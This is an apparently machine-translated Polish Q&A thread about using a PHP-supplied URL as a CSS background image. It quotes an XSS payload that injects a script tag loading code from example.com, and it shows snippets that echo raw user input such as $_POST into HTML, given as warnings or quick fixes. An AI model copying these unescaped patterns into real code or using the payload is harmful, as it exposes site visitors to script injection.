Jak uzyskać obraz dynamiczny jako tło CSS?

mam logo div, który chcę używać logo zdjęcie jako tło, takie jak:Jak uzyskać obraz dynamiczny jako tło CSS?

.logo { 
    background: #FFF url(images/logo.jpg); 
}

Jednak na stronie ustawień w moim skryptu, chciałbym mieć pole wprowadzania tekstu określić, jaki jest adres URL obrazu dla obrazu tła.

Jak mogę ustawić obraz tła dla DIV jako odbieranego obrazu URL bez konieczności wykonywania:

<div><img src="/images/logo.jpg" /></div>

(Skrypt jest napisany w PHP)

Źródło

2012-07-03 JROB

Czy to musi być trwałe? Czy można to zrobić za pomocą javascript/jquery, czy też trzeba to zrobić za pomocą php? – chrisgooley

Wolałbym nie używać javascript – JROB

To bardzo proste. Wszystko, co musisz zrobić, to albo umieścić to w <head>:

<style type="text/css"> 
.logo { 
background: #FFF url(<?php echo $variable_holding_img_url; ?>); 
} 
</style>

Albo można po prostu użyć inline style atrybut i zdefiniować właściwość background-image CSS jak inne odpowiedzi sugerują:

<div style="background-image: url(<?php echo $varable_holding_img_url; ?>);"> 
</div>

Teraz będziesz chciał się upewnić, że zanim zezwolisz na przesłanie jej, że to nie zawiera HTML lub cokolwiek innego, tylko poprawne znaki URL:. A także powinna uciec to więc ktoś nie można wprowadzić to do wejścia URL:

"> <script src="http://example.com/xss-attack.js"></script> <!--

i jack stronę.

Wyobrażam sobie, że umieszczasz ten adres URL obrazu w bazie danych, więc zawsze pamiętaj, co stało się z rekordami szkolnymi Bobby Tables (uniknij danych wejściowych).

Źródło

2012-07-03 03:41:04 Nathan

Ale czy nie najlepiej jest używać plików CSS dla pamięci podręcznej i prędkości strony? Myślałem, że style inline są złe. –

@JordanCarter Tak, pliki CSS są najlepsze do buforowania i prędkości strony. Ale prawdopodobnie nie chciałbyś, aby ta część była przechowywana w pamięci podręcznej, ponieważ adres URL w tle jest zmienną i dlatego może/zmieni się. W tym przypadku myślę, że style osadzone są w porządku, o ile cały arkusz stylów nie jest osadzony na stronie. – Nathan

myślę, że można ustawić tło obraz dynamicznie za pomocą javascript jako podany here.

Jeśli nie chcesz używać JavaScript, dlaczego nie można użyć atrybutu style inline.
ex

<div style="background-image: url(xyz)"></div>

Źródło

2012-07-03 03:02:26

albo trzeba wygenerować css ze skryptu PHP (nieco zaawansowanych) lub użyć stylów inline rade. Ex:

<div style="background-image: <?php echo $_POST['whateverjpg']; ?>" > 
//blah 
</div>

Jest to niezwykle niebezpieczne, ale odpowiedź najbardziej zwięzły mogę dać ..

Źródło

2012-07-03 03:06:25

Jak to jest "niezwykle niepewne"? Po prostu zastanawiam się ... – Nathan

Wtryskiwanie PHP. Po prostu uciekaj od swoich danych. –

Och, tak ... każdy, kto nie ucieknie od danych wprowadzonych przez użytkownika (i danych z bazy danych, co jest najprawdopodobniej tym, w którym adresie URL tego obrazu będzie przechowywany) powinien się nauczyć [Bobby Tables] (http: // /bobby-tables.com/). – Nathan

<input type="text" class="inputContent" /> 
<script type="text/javascript"> 
    var inputC = $('input.inputContent').val(); 
    $('body').css('background', 'url(' + inputC + ')'); 
</script>

To całkowicie JS i jQuery, bo nie wiem, PHP, ale jest to rozwiązanie!

Źródło

2012-07-03 03:39:19 Chad

Jak uzyskać obraz dynamiczny jako tło CSS?

Odpowiedz

Powiązane problemy